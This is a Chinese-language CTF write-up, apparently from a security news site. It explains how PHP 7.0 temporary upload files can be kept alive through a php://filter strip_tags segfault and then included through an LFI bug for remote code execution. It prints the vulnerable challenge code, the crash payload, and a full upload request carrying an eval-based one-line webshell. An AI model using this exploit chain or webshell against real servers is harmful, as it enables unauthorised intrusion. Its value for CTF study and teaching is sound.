PHP LFI 利用临时文件 Getshell 姿势 - 安全客,安全资讯平台
使用条件:
-
php7.0版本
-
有完整的包含点
-
/tmp目录可写
基本原理:
php脚本运行时,会自动给超全局变量赋值。
如果我们向一个 php 脚本发送文件上传表单, php 会将上传的文件存放在一个临时目录,等待 php 脚本处理,脚本运行结束后,无论 php 脚本是否处理这个上传文件,都会删除这个临时上传文件。
php 为什么要这么做呢?其实是为了解决文件上传的问题,由于 php 代码是可以动态执行的, php 解释器是不知道哪个请求有文件上传,哪个请求没有文件上传。如果不接收上传的临时文件,那么脚本里面要使用上传的文件的话,就会找不到。如果每次都上传,那么如果没有处理上传文件的情况下,会造成每次都写临时文件,造成硬盘空间的浪费。所以 php 采用了折中的机制,每次都保留临时文件的内容,但是脚本执行完毕以后,就删除掉,这样既满足了随时调取上传文件内容的需要,又不占用额外的存储空间。
也就是说:虽然我们可以控制上传临时文件的内容,但是脚本运行结束以后就会自动删除掉。
基于这种情况,出现了2种利用方式
-
脚本运行结束之前就包含这个临时文件,执行里面的恶意代码,并生成后门,删除临时文件后不影响以后的命令执行,条件竞争就是这个原理。
-
脚本运行结束之后不删除这个临时文件。这就是这个议题讨论的情况,想办法让脚本运行结束后不 删除这个临时文件。
于是乎,现在的重点就是解决脚本运行结束之后,不删除这个临时文件。
另外我们知道:
-
如果php代码中途退出了,就不会删除临时文件
但是例外:
Shutdown函数和析构函数,代码中显示 exit() 或者 die() 以后,仍会执行
例题:
ctfshow-web808
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
include $file;
}else{
show_source(__FILE__);
print_r(scandir("/tmp"));
}
Array ( [0] => . [1] => .. )
有一个文件包含点,先写一个上传表单,直接f12插入网页源代码里:
<html>
<body>
<form action="http://3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<lable for="file">Filename:</lable>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
这里使用php7.0线程崩溃payload
?file=php://filter/string.strip_tags/resource=/etc/passwd
php代码中使用php://filter的过滤器strip_tags
, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
然后上传文件
请求包(这里上传的一句话木马的密码是1):
POST /?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1
Host: 3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16511668918698662614261256504
Content-Length: 374
Origin: http://3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show
Connection: close
Referer: http://3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show/
Cookie: UM_distinctid=180500f15de581-06dfb1171f6d008-4c3e2c73-144000-180500f15df490
Upgrade-Insecure-Requests: 1
-----------------------------16511668918698662614261256504
Content-Disposition: form-data; name="file"; filename="hack.php"
Content-Type: image/jpeg
<?php
echo "ok!";
@eval($_POST['1']);
-----------------------------16511668918698662614261256504
Content-Disposition: form-data; name="submit"
Submit
-----------------------------16511668918698662614261256504--
然后页面刚好会返回临时文件名:
把那个临时文件利用file传参包含进来:
成功RCE